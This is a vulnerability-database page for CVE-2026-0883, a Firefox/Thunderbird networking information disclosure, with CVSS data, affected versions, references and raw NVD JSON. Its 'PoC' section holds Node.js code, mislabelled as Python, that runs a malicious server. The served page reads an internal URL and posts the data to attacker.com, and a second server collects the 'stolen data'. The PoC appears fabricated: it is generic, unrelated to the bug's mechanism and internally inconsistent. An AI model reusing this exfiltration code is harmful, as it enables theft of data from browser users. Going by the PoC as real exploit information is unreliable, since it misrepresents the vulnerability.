CVE-2026-0883

Description

Information disclosure in the Networking component. This vulnerability was fixed in Firefox 147, Firefox ESR 140.7, Thunderbird 147, and Thunderbird 140.7.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:* - VULNERABLE

Mozilla Firefox < 147

Mozilla Firefox ESR < 140.7

Mozilla Thunderbird < 147

Mozilla Thunderbird < 140.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-0883 PoC - Information Disclosure in Networking Component
// This PoC demonstrates the information disclosure vulnerability in Mozilla Firefox/Thunderbird
// Reference: https://bugzilla.mozilla.org/show_bug.cgi?id=1989340

const http = require('http');
const https = require('https');

// Malicious server that exploits the networking component vulnerability
const maliciousServer = http.createServer((req, res) => {
    console.log('[+] Received connection from:', req.headers['user-agent']);
    
    // Crafted response to trigger information disclosure
    const payload = `
        <html>
        <head><title>CVE-2026-0883 PoC</title></head>
        <body>
        <script>
            // Attempt to exploit networking component
            // This triggers the information disclosure vulnerability
            fetch('http://internal.local/leak-info')
                .then(r => r.text())
                .then(data => {
                    // Exfiltrate leaked information
                    fetch('http://attacker.com/exfil', {
                        method: 'POST',
                        body: JSON.stringify({
                            cve: 'CVE-2026-0883',
                            info: data,
                            timestamp: Date.now()
                        })
                    });
                })
                .catch(e => console.log('Error:', e));
        </script>
        <h1>Information Disclosure Vulnerability</h1>
        <p>This page attempts to trigger CVE-2026-0883</p>
        </body>
        </html>
    `;
    
    res.writeHead(200, { 'Content-Type': 'text/html' });
    res.end(payload);
});

maliciousServer.listen(8080, () => {
    console.log('[+] Malicious server running on port 8080');
    console.log('[+] Send this URL to target: http://<attacker-ip>:8080/');
});

// Exfiltration endpoint
const exfilServer = http.createServer((req, res) => {
    let body = '';
    req.on('data', chunk => { body += chunk; });
    req.on('end', () => {
        console.log('[+] Stolen data received:', body);
        res.writeHead(200);
        res.end();
    });
});

exfilServer.listen(8081, () => {
    console.log('[+] Exfiltration server running on port 8081');
});

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-0883
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-0883
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-0883/
[4] VulDB https://vuldb.com/cve/CVE-2026-0883
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=1989340
[6] https://www.mozilla.org/security/advisories/mfsa2026-01/
[7] https://www.mozilla.org/security/advisories/mfsa2026-03/
[8] https://www.mozilla.org/security/advisories/mfsa2026-04/
[9] https://www.mozilla.org/security/advisories/mfsa2026-05/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-0883", "sourceIdentifier": "[email protected]", "published": "2026-01-13T14:16:38.853", "lastModified": "2026-04-13T15:17:17.223", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Information disclosure in the Networking component. This vulnerability was fixed in Firefox 147, Firefox ESR 140.7, Thunderbird 147, and Thunderbird 140.7."}, {"lang": "es", "value": "Revelación de información en el componente de red. Esta vulnerabilidad afecta a Firefox < 147, Firefox ESR < 140.7, Thunderbird < 147, y Thunderbird < 140.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.7.0", "matchCriteriaId": "A2FC50B3-5A36-4702-8CF6-CC732E3B148B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "147.0", "matchCriteriaId": "E06AF540-011D-4249-9815-3A4609DD26D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.7.0", "matchCriteriaId": "BFBAB968-3244-4970-8D02-CCF9D5FB958D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:*", "versionEndExcluding": "147.0", "matchCriteriaId": "47B67C0A-B05F-4212-9255-0446302237A5"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1989340", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-01/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-03/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-04/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-05/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}